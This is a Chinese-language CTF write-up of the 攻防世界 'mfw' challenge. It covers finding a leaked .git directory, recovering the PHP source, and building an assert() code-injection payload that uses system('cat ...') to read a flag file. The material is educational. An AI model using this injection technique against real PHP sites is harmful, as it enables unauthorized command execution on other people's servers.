攻防世界----mfw

攻防世界----mfw

题目描述:

攻防世界----mfw_第1张图片

页面描述

攻防世界----mfw_第2张图片攻防世界----mfw_第3张图片
攻防世界----mfw_第4张图片

解题思路

观察上图,我们可以获得两个比较重要的信息
1.该网站是用git托管源码,以及用PHP编写
2.有一个flag文件(猜测后缀为.PHP)

怀疑存在.git源码泄露,于是尝试访问或者是dirsearch扫描目录
http://220.249.52.133:47363 /.git
攻防世界----mfw_第5张图片

利用githack下载源码,详细代码自己发现,获得以下的信息
1.关键的代码
2.template目录下存在flag.php文件(你可以尝试直接cat一下)



if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";//用于拼接形成目录路径

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

发现一个assert()函数,想到可以是任意代码执行漏洞,而且对于尝试$page没有任何的控制直接拼接
首先我们确定的最后想要的肯定是利用assert()函数执行cat ./template/flag.php获得flag,那么肯定要破坏原来的assert的结构才能,使得我们的目标才能达成

assert("strpos('$file', '..') === false")
assert("file_exists('$file')")

那么我们就尝试构造
?page=') or system('cat ./template/flag.php');// 这里建议使用单引号便于后期区分
传入后就变成
$file="/template/') or system('cat ./template/flag.php');//.php"
注意时候//还是作为$file还是作为字符串的注意区分
替换
assert("strpos(''/template/') or system('cat ./template/flag.php');//.php, '..') === false")
正真运行
strpos(''/template/') or system('cat ./template/flag.php'); 由于strpos函数报错,因此运行我们构造的语句or后面的语句

放回页面为空,不要慌,查看源码你就会发现flag

**tips**
网上的wp有些返回结果是这样的
在这里插入图片描述

这其实是在原来的基础上在开头加上任意的东西,导致第二个assert()被执行从而输出两次,而原来的那个payload由于是空,但是是存在/template这个文件夹所以不执行后面的语句,如果不清楚是怎么替换的可以自己手工操作一遍就明白了(注意不要被单引号双引号搞乱了)

知识点

asssert()函数

assert()函数
PHP中该函数用于’断言’,简单来说就是用于判断表达式或者是调试程序,当判断的内容是字符串的时候,该函数会将字符串作为PHP代码执行,因此存在任意代码执行的漏洞,类似于eval()函数

strpos()函数

strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
注释:strpos() 函数是区分大小写的。
注释:该函数是二进制安全的。
攻防世界----mfw_第6张图片

总结

这题考察PHP代码审计的能力,以及.git源码泄露的知识点,虽然一开始不怎么清楚怎么做,但是看到git就想到会不会是源码泄露,随便还熟悉了一下githack工具的使用,进而找到关键的代码,但是PHP代码审计的能力不够,卡在这个点上,看了大佬的wp之后又做了一遍,有了自己的理解

你可能感兴趣的:(CTF)